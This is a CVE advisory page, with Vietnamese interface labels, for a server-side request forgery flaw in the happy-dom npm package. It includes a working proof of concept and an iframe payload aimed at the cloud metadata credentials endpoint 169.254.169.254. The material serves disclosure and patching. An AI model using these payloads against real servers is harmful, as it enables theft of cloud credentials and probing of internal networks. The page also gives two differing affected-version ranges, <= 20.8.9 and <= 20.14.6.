CVE-2026-118660
Mở trang đầy đủCVSS 8.6 HIGH Lộ dữ liệu
Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML
Mô tả
Summary
happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.
Affected Versions
- happy-dom <= 20.8.9 (latest)
Vulnerable Behavior
By default, happy-dom has:
disableIframePageLoading: false— iframes fetch theirsrcURL via real HTTP requestsdisableCSSFileLoading: false—<link>stylesheets fetch theirhrefURL via real HTTP requests
When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.
Proof of Concept
Verified test (attacker server receives requests):
const http = require('http');
const { Window } = require('happy-dom');
// Start attacker server
const srv = http.createServer((req, res) => {
console.log(`SSRF HIT: ${req.method} ${req.url}`);
res.writeHead(200, {'Content-Type': 'text/html'});
res.end('<html><body>stolen</body></html>');
});
srv.listen(9995, () => {
// iframe SSRF — happy-dom makes a real GET request
const win1 = new Window({ url: 'http://localhost' });
win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');
// stylesheet SSRF — happy-dom makes a real GET request
const win2 = new Window({ url: 'http://localhost' });
win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});
Test output:
SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf
Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.
Cloud metadata attack scenario:
const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });
// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');
Impact
- Cloud credential theft —
<iframe src="http://169.254.169.254/...">fetches AWS/GCP/Azure metadata - Internal network scanning — probe internal services and ports
- Data exfiltration — read responses from internal APIs
- Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input
Suggested Fix
Change defaults to disable external resource loading:
disableIframePageLoading: true, // change from false
disableCSSFileLoading: true, // change from false
Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.
Điểm và phân loại
- CVSS
- 8.6 HIGH v3.1
- Nguồn điểm
- NVD
- Mức độ (theo nguồn)
- HIGH
- EPSS
- 0.4%
- CWE
- CWE-918
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Ảnh hưởng
| Package | Bản bị ảnh hưởng | Bản đã sửa |
|---|---|---|
npm happy-dom |
<= 20.14.6 |
21.0.0
|
npm happy-dom |
< 21.0.0 |
21.0.0
|
Sản phẩm
- capricorn86 happy-dom
Vì sao được giữ
- CVSS 8.6 >= 8.0
Loại tác động
- Lộ dữ liệu
- CWE-918; từ khoá "ssrf"; từ khoá "server-side request forgery"
Dữ liệu riêng của nguồn
- CVE.org · Đơn vị cấp mã
- GitHub_M
- CVE.org · SSVC
- Tự động hoá được: yes · Khai thác: none · Tác động kỹ thuật: partial
- OSV.dev · ID
- GHSA-c8p4-j97h-3vg8
Tham khảo
- https://github.com/advisories/GHSA-c8p4-j97h-3vg8
- https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8
- https://github.com/capricorn86/happy-dom/pull/2502
- https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74
- https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0
- https://osv.dev/vulnerability/GHSA-c8p4-j97h-3vg8
- https://github.com/capricorn86/happy-dom